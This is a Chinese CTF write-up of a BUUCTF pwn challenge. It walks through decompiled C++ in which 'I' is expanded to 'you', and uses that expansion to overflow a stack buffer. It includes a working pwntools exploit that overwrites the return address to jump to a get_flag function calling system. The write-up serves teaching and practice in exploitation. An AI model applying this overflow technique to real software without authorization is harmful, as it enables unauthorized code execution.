buuctf中的一题,纯纯烧杯题,这题注重考查c++逆向(但是我还是觉得是动手调试的能力)
老规矩了,checksec看一下保护机制和位数

感觉像是栈溢出,不确定,ida看看

哇,看到这函数列表懵逼了,不过别怕,仔细翻一番

逮到三个看名字有用的,f5看一下
main函数:
| 12
 3
 4
 5
 
 | int __cdecl main(int argc, const char **argv, const char **envp){
 vuln();
 return 0;
 }
 
 | 
vuln函数:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 
 | int vuln(){
 const char *v0;
 int v2;
 char s[32];
 char v4[4];
 char v5[7];
 char v6;
 char v7[7];
 char v8[5];
 
 printf("Tell me something about yourself: ");
 fgets(s, 32, edata);
 std::string::operator=();
 std::allocator<char>::allocator(&v6, s);
 std::string::string(v5, "you", &v6);
 std::allocator<char>::allocator(v8, v2);
 std::string::string(v7, "I", v8);
 replace((std::string *)v4);
 std::string::operator=(&input, v4, v7, v5);
 std::string::~string(v4);
 std::string::~string(v7);
 std::allocator<char>::~allocator(v8);
 std::string::~string(v5);
 std::allocator<char>::~allocator(&v6);
 v0 = (const char *)std::string::c_str((std::string *)&input);
 strcpy(s, v0);
 return printf("So, %s\n", s);
 }
 
 | 
gatflag函数:
| 12
 3
 4
 
 | int get_flag(){
 return system("cat flag.txt");
 
 
 | 
看完人更傻了,虽然getflag明显就是要我们栈溢出,跳转到这个函数,但是vuln写的是什么?
百度完应该是c++中std::string相关的用法
不过这题应该是要我们会用debug来调试程序
我们重点注意一下那一串天书里面的“I”和“you”,突破口肯定是这俩
浅写段exp,debug看看有什么玄机
| 12
 3
 4
 5
 6
 
 | from pwn import*io = remote("node4.buuoj.cn",29397)
 context.log_level = "debug"
 payload = b'I'*6
 io.sendline(payload)
 io.recv()
 
 | 

好家伙,我们可以看到明明传的是I,结果都变成了you,那到这里很明显了,这题就是把字符串中的i替换成了you
我们再来看看能不能进行栈溢出

可以看到,我们只能输入0x20字节的数据给s,但是他距离ebp有0x3c,不够怎么办?
刚才不是输入I可以变成you吗?这不是一个字节顶三个字节,一节更比一节强(南孚打钱)
那思路很明显了,输入20个字长的I,就相当于输入了60个字长的you,我们就可以进行栈溢出了
exp:
| 12
 3
 4
 5
 6
 
 | from pwn import*io = remote("node4.buuoj.cn",29397)
 getflag_addr = 0x8048f0d
 payload = b'I'*20+cyclic(4)+p32(getflag_addr)
 io.sendline(payload)
 io.recv()
 
 |